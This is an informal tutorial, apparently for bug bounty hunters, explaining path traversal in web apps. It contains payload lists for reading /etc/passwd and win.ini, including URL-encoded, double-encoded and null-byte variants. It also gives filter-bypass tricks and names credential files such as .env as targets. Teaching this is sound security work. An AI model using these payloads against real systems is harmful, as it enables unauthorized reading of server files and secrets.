../ turns into a skeleton key for the filesystem.
Path Traversal is that vulnerability where the server politely asks:
“Which file would you like?”
And you, being you, respond with:
“Yes.”
Path Traversal = using sequences like ../ to escape the intended
directory and read files you were never supposed to see.
The app says “only open files from this safe folder.” You say “cool, but what if I go outside the folder?” The OS shrugs and says “Path is valid, go ahead.”
Because somewhere, someone concatenated user input directly into a file path. Something like:
GET /download?file=report.pdf
Backend logic:
base = "/var/www/app/reports/"
file = base + request.GET["file"]
open(file)
Now if you send:
file=invoice_123.pdf
It becomes:
/var/www/app/reports/invoice_123.pdf
Nice and normal. But if you send:
file=../../../../etc/passwd
It becomes:
/var/www/app/reports/../../../../etc/passwd
Filesystem: “Yeah that’s legit, here’s /etc/passwd.”
App: confused but compliant.
You: quietly smiling.
If you can reach files like /etc/passwd, configs, source code, or credentials,
you’re no longer just “a user”. You’re basically the server’s nosy roommate.
Any time you see “file” or “path” in a parameter, treat it as suspicious by default.
/download?file=report.pdf/view?template=invoice.html/image?name=avatar.png/logs?file=access.log
The mental shortcut is:
“If the app reads a file based on my input, it might read ANY file based on my input.”
Linux targets:
../../../../etc/passwd
../../../../../etc/hosts
URL-encoded versions:
..%2f..%2f..%2f..%2fetc%2fpasswd
..%2f..%2f..%2f..%2fetc%2fhosts
Double-encoded (for smart-ish filters):
..%252f..%252f..%252f..%252fetc%252fpasswd
Windows vibes:
..\..\..\..\Windows\win.ini
..\..\..\..\Windows\System32\drivers\etc\hosts
Normal user:
GET /download?file=invoice_2024_01.pdf
Hacker brain:
GET /download?file=../../../../etc/passwd
If the response looks like:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
That’s not just a “bug”. That’s “we trusted user input with our filesystem” level misconfiguration.
/etc/passwd is proof-of-concept. The real treasure:
config.php, settings.py, .envYou’re basically speedrunning from “file read” → “full environment intel”.
Common “defenses”:
../../ once.pdfYour options:
....// (normalizes to ../)..%2f..%2f..%2f..%2fetc%2fpasswd..%252f..%252f..%252f..%252fetc%252fpasswd (double encoding)../../../../etc/passwd%00.pdf (older null-byte cases)Don’t just try one payload. Try different encodings, extra dots, slashes, suffix tricks. Your job: confuse the filter, not yourself.
If the user can influence the filesystem path, you must assume they’ll try to walk out of it.
file, path, log, template.../ and basic payloads./etc/passwd (Linux) or win.ini (Windows) as a proof.If you can prove sensitive file read reliably, you’ve got a strong, high-severity report in your hands.